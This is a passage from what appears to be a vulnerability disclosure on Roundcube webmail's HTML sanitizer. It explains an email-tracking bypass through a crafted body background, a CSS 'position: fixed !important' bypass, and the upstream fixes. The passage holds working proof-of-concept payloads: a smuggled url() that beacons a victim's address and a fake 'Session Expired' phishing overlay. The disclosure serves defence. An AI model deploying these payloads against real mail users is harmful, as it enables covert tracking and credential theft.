bypasses \u003ccode\u003emod_css_styles()\u003c/code\u003e and its URL callback entirely.\u003c/p\u003e\n\u003ch3 id=\"proof-of-concept-1\"\u003eProof of concept\u003ca href=\"#proof-of-concept-1\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ebody\u003c/span\u003e \u003cspan class=\"na\"\u003ebackground\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe sanitizer produces this inline style on the container:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-css\" data-lang=\"css\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ebackground-image\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nt\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003e\u003cspan class=\"nt\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nd\"\u003eimage\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nt\"\u003epng\u003c/span\u003e\u003cspan class=\"o\"\u003e,\u003c/span\u003e\u003cspan class=\"nt\"\u003ex\u003c/span\u003e\u003cspan class=\"o\"\u003e);\u003c/span\u003e\u003cspan class=\"nt\"\u003ebackground\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nd\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e(//\u003c/span\u003e\u003cspan class=\"nt\"\u003ehttpbin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nc\"\u003eorg\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nt\"\u003etrack\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"nt\"\u003euid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nt\"\u003evictim\u003c/span\u003e\u003cspan class=\"p\"\u003e@\u003c/span\u003e\u003cspan class=\"k\"\u003etest\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nc\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003e)\u003c/code\u003e in \u003ccode\u003edata:image/png,x)\u003c/code\u003e closes the original \u003ccode\u003eurl()\u003c/code\u003e. The injected \u003ccode\u003ebackground:url(//...)\u003c/code\u003e loads the external resource.\u003c/p\u003e\n\u003ch2 id=\"css-position-fixed-important\"\u003eCSS position: \u003ccode\u003efixed !important\u003c/code\u003e\u003ca href=\"#css-position-fixed-important\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eRoundcube converts \u003ccode\u003eposition: fixed\u003c/code\u003e to \u003ccode\u003eposition: absolute\u003c/code\u003e in \u003ccode\u003esanitize_css_block()\u003c/code\u003e to prevent elements from breaking out of the message container:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_utils.php#L544\"\u003ercube_utils.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$property\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;position\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003estrcasecmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;fixed\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;absolute\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003estrcasecmp\u003c/code\u003e compares the entire trimmed value against \u003ccode\u003e\u0026quot;fixed\u0026quot;\u003c/code\u003e. Append \u003ccode\u003e!important\u003c/code\u003e and it\u0026rsquo;s no longer an exact match.\u003csup id=\"fnref:5\"\u003e\u003ca href=\"#fn:5\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e5\u003c/a\u003e\u003c/sup\u003e The check fails, and \u003ccode\u003e\u0026quot;fixed !important\u0026quot;\u003c/code\u003e flows through the generic token validation, where \u003ccode\u003eexplode_css_property_block()\u003c/code\u003e splits it into \u003ccode\u003e['fixed', '!important']\u003c/code\u003e. Both tokens pass the allowlist individually, and the output reassembles as \u003ccode\u003eposition: fixed !important\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"proof-of-concept-2\"\u003eProof of concept\u003ca href=\"#proof-of-concept-2\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nc\"\u003eoverlay\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eposition\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003efixed\u003c/span\u003e \u003cspan class=\"cp\"\u003e!important\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"kt\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"kt\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ebackground\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003ewhite\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ez-index\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e99999\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edisplay\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003eflex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ealign-items\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ejustify-content\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;overlay\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;border:1px solid #ccc;border-radius:8px;padding:30px;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e              max-width:400px;text-align:center;font-family:Arial,sans-serif\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eh2\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eSession Expired\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003eh2\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eYour Roundcube session has expired due to inactivity.\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e \u003cspan class=\"na\"\u003ehref\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;https://httpbin.org/phish/login\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e       \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;background:#0066cc;color:white;padding:10px 20px;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e              text-decoration:none;border-radius:4px\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eSign In Again\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe overlay covers the preview pane iframe. When the message is opened in a new window (no iframe), it covers the full browser viewport with no visible Roundcube chrome. A \u0026ldquo;session expired\u0026rdquo; dialog pointing to an attacker-controlled login page.\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"/images/roundcube-phishing-overlay.png\" alt=\"Phishing overlay rendered inside Roundcube. A fake \u0026ldquo;Session Expired\u0026rdquo; dialog covers the message pane.\"\u003e\u003c/p\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003ca href=\"#impact\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe SMIL and body background bypasses defeat \u0026ldquo;Block remote images\u0026rdquo; to enable email tracking: open confirmation, IP logging, browser fingerprinting. The SMIL variant can also measure read time through timed beacon sequences.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eposition: fixed\u003c/code\u003e bypass is a phishing vector. A full-viewport overlay can impersonate Roundcube\u0026rsquo;s own login prompt.\u003c/p\u003e\n\u003ch2 id=\"remediation\"\u003eRemediation\u003ca href=\"#remediation\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAll three issues are fixed in 1.5.14, 1.6.14, and 1.7-rc5. See the \u003ca href=\"https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.16\"\u003eRoundcube advisory\u003c/a\u003e.\u003c/p\u003e\n\u003ch3 id=\"smil-animations\"\u003eSMIL animations\u003ca href=\"#smil-animations\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/82ab5ec\"\u003e\u003ccode\u003e82ab5ec\u003c/code\u003e\u003c/a\u003e) replaces the inline element-level check with a new \u003ccode\u003eis_insecure_tag()\u003c/code\u003e method that blocks SMIL animation elements targeting \u003ccode\u003ehref\u003c/code\u003e, or \u003ccode\u003emask\u003c/code\u003e/\u003ccode\u003ecursor\u003c/code\u003e when the \u003ccode\u003evalues\u003c/code\u003e attribute contains \u003ccode\u003eurl()\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/82ab5eca7b332fce7a174b2b987f0957a66377cd/program/lib/Roundcube/rcube_washtml.php#L530-L544\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003estatic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_insecure_tag\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$tagName\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003estrtolower\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003ein_array\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tagName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;animate\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatecolor\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;set\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatetransform\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;attributeName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/^href$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;attributeName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/^(mask|cursor)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;values\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/url\\(/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe fix blocks the entire element when it detects a dangerous combination rather than adding \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e to the attribute-level validation. The \u003ccode\u003eattribute_value()\u003c/code\u003e helper was also changed from exact string matching to regex matching to support this.\u003c/p\u003e\n\u003ch3 id=\"body-backgrounds\"\u003eBody backgrounds\u003ca href=\"#body-backgrounds\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/fd0e981\"\u003e\u003ccode\u003efd0e981\u003c/code\u003e\u003c/a\u003e) adds validation in \u003ccode\u003ewash_uri()\u003c/code\u003e that rejects data URIs unless they\u0026rsquo;re properly base64-encoded:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/fd0e98178db5c73eaa93d005b561874923f9b0f0/program/lib/Roundcube/rcube_washtml.php#L419-L422\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// At this point we allow only valid base64 images\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003estripos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$type\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;base64\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;|[^0-9a-z\\s/+]|i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$matches\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe crafted \u003ccode\u003edata:image/png,x)\u003c/code\u003e payload fails the first check: the type is \u003ccode\u003epng\u003c/code\u003e, not \u003ccode\u003epng;base64\u003c/code\u003e, so \u003ccode\u003estripos\u003c/code\u003e returns false and the URI is rejected. The second check guards base64-encoded payloads against smuggled characters like \u003ccode\u003e)\u003c/code\u003e. The unquoted \u003ccode\u003eurl()\u003c/code\u003e interpolation in \u003ccode\u003ewashtml_callback()\u003c/code\u003e is 